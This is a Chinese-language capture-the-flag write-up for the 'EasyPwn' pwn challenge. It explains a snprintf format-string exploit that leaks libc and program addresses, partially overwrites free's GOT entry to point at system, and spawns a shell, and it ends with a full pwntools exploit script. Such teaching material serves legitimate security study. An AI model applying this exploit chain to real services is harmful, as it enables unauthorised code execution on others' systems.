攻防世界PWN之EasyPwn题解

EasyPwn

首先,看一下程序的保护机制

攻防世界PWN之EasyPwn题解

开启了CANARY、NX和PIE,RELRO部分开启,我们可以改写GOT表

然后,我们用IDA分析

攻防世界PWN之EasyPwn题解

read的maxsize参数比变量的空间大小要小,因此无法溢出到栈底,加上开启了PIE,因此排除了ROP的方法

我们再仔细观察一下,发现snprintf在执行的过程中,v2可以溢出到v3,而v3存储的是格式化字符串,因此,我们可以溢出v2,修改格式化字符串,达到任意地址的读写。

攻防世界PWN之EasyPwn题解

我们再看看主函数,

攻防世界PWN之EasyPwn题解

我们可以利用snprintf格式化字符串漏洞,修改freeGOT表,让它指向system,然后我们第二次输入/bin/sh字符串,那么/bin/sh会存到堆里,当调用free(buf),时,就相当于执行了system(binsh_addr),我们就能getshell。

 

修改free的GOT表时,也有技巧,我们可以只修改后4字节数据,因此free和system在libc中的位置偏差也就那么多,那么它们在内存中的地址,也就最后几字节不一样,我们只需覆盖最后几字节数据即可。这也叫pritial write技术。

 

那么我们首先得让free的GOT表中的地址加载好,那么我们得先调用一次free。

  1. #这一步是为了让freeGOT表内容加载  
  2. sh.sendlineafter('Input Your Code:\n','2')  
  3. sh.sendlineafter('Input Your Name:\n','test')  

 

 

接下来,我们就可以开启啦。

由于开启了PIE,我们得先利用snprintf泄露一些地址。

攻防世界PWN之EasyPwn题解

在我们进入功能1函数前,我们看到栈里有一个__libc_start_main+F0的地址,我们可以利用snprintf把它的值暴露出来。

 

为什么能够工作?(%s不是在snprintf执行时就传入了吗,%s如果变化了,按理来说不影响snprintf)

 

经过不断的调试,发现,snprintf把格式化字符串的地址记下来,然后,每次要处理一个字符时,先从地址处取格式化字符串,然后再根据格式化字符串来处理字符。由于地址是没变的,变的是地址里面的内容。

  1. sh.sendlineafter('Input Your Code:\n','1')  
  2. #泄露__libc_start_main+F0的地址  
  3. payload = 'a'*(0x3E8)+'bb%397$p'  
  4. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  5. sh.recvuntil('0x')  
  6. __libc_start_main = int(sh.recvuntil('\n'),16) - 0xF0  

这里,解释一下payload,前面0x3E8 = 0x7F0(v3位置) – 0x408(v2位置)

 

注意,接下来的两个字符bb是重要的(不能是aa,即不能与前面的那0x3E8个字符一样,不知道为什么,其他的都可以,有知道的大佬欢迎留言),这是为了覆盖原先的%s,根据上面说的snprintf工作过程,snprintf处理前面0x3E8个字符时,用的都是%s来格式化,当处理第一个b,此时b已经覆盖了%号,格式化字符串变为bs,当处理第二个b时,此时b覆盖了字符s,格式化字符串变成bb。接下来,%397$p被原模原样的覆盖到了bb的后面,也就是最后,格式化字符串变成了bb%397$p,当snprintf读到格式化字符串为bb%397$p,变打印了bb0x[397个元素的值]

%397$p就是距栈底397个位置的数据(也就是__libc_start_main+F0),这是如何得到的?

攻防世界PWN之EasyPwn题解

如图,在我们跟踪进入snprintf函数以后,并且还未对rsp做调整时,栈顶rsp为0x7FFD176702D0,然后我们找到__libc_start_main+F0在栈里的位置,为0x7FFD17670F38

攻防世界PWN之EasyPwn题解

那么

(0x7FFD17670F38 –0x7FFD176702D0) / 8 = 397

我们利用同样的方法泄露init的地址

攻防世界PWN之EasyPwn题解

那么,现在我们就能计算出程序的加载基地址和libc的加载基地址了

  1. libc = LibcSearcher('__libc_start_main',__libc_start_main)  
  2. #获得libc加载基地址  
  3. libc_base = __libc_start_main - libc.dump('__libc_start_main')  
  4. system_addr = libc_base + libc.dump('system')  
  5. print 'system addr=',hex(system_addr)  
  6.   
  7. sh.sendlineafter('Input Your Code:\n','1')  
  8. #泄露init的地址  
  9. payload = 'a'*(0x3E8)+'bb%396$p'  
  10. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  11. sh.recvuntil('0x')  
  12.   
  13. init_addr = int(sh.recvuntil('\n'),16)  
  14. #获得程序的加载基地址,0xDA0init在二进制文件中的静态地址  
  15. elf_base = init_addr - 0xDA0  

然后,我们得到了基地址,我们就能得到free的GOT表地址和system的地址。

 

然后,我们该如何来修改free的GOT表呢?

首先,我们不能把p64(addr)放格式化字符串的前面,因为p64(addr)里面有0,会导致snprintf遇到0后就结束,不能读取到我们后来的格式化字符串。

所以必须放后面,类似于这样

  1. ;  
  2. payload =  'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)  

其中,%133$hn代表把距栈顶133个位置处的数据当成地址,往那个地址处写一个值,hn表示写一个WORD(字)的数据,也就是2字节数据,并且值表示在这之前,snprintf已经打印了多少个字符,具体可以去学习一下字符串格式化漏洞的相关知识。

ljust(16,'a')是为了凑出16字节,格式化字符串可能超过8字节,但不会超过16字节,并且,由于要8字节对齐,所以需要补足。

这个133是如何得到的?

攻防世界PWN之EasyPwn题解

当进入snprintf,当还没变更rsp时,rsp栈顶为0x7FFF4D0A1BE0,然后我们看到我们输入的数据是从0x 7FFF4D0A1C10开始的

攻防世界PWN之EasyPwn题解

于是公式为

X = (0x 7FFF4D0A1C10 - 0x7FFF4D0A1BE0) / 8 + (0x3E8 + 16) / 8 = 133

那么,我们最终写出exp脚本如下

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. #context(log_level='debug')  
  6. sh = process('./pwn1')  
  7. #sh = remote('111.198.29.45',43257)  
  8. elf = ELF('./pwn1')  
  9.   
  10. #这一步是为了让freeGOT表内容加载  
  11. sh.sendlineafter('Input Your Code:\n','2')  
  12. sh.sendlineafter('Input Your Name:\n','test')  
  13.   
  14.   
  15. sh.sendlineafter('Input Your Code:\n','1')  
  16. #泄露__libc_start_main+F0的地址  
  17. payload = 'a'*(0x3E8)+'bb%397$p'  
  18. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  19. sh.recvuntil('0x')  
  20. __libc_start_main = int(sh.recvuntil('\n'),16) - 0xF0  
  21.   
  22. libc = LibcSearcher('__libc_start_main',__libc_start_main)  
  23. #获得libc加载基地址  
  24. libc_base = __libc_start_main - libc.dump('__libc_start_main')  
  25. system_addr = libc_base + libc.dump('system')  
  26. print 'system addr=',hex(system_addr)  
  27.   
  28. sh.sendlineafter('Input Your Code:\n','1')  
  29. #泄露init的地址  
  30. payload = 'a'*(0x3E8)+'bb%396$p'  
  31. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  32. sh.recvuntil('0x')  
  33.   
  34. init_addr = int(sh.recvuntil('\n'),16)  
  35. #获得程序的加载基地址,0xDA0init在二进制文件中的静态地址  
  36. elf_base = init_addr - 0xDA0  
  37. #freeGOT表地址  
  38. free_addr = elf_base + elf.got['free']  
  39.   
  40. print 'free_addr=',hex(free_addr)  
  41.   
  42. #以下两步修改freeGOT表内容,让它指向system  
  43. sh.sendlineafter('Input Your Code:\n','1')  
  44. #覆写倒数的第34字节数据  
  45. data = (system_addr & 0xFFFFFFFF) >> 16  
  46. #那个百分号前的两个aa是为了凑出8字节  
  47. payload =  'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)  
  48. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  49.   
  50. #覆写倒数的2字节数据  
  51. data = system_addr & 0xFFFF  
  52. sh.sendlineafter('Input Your Code:\n','1')  
  53. payload =  'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr)  
  54. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  55.   
  56. #getshell  
  57. sh.sendlineafter('Input Your Code:\n','2')  
  58. sh.sendlineafter('Input Your Name:\n','/bin/sh')  
  59.   
  60. sh.interactive()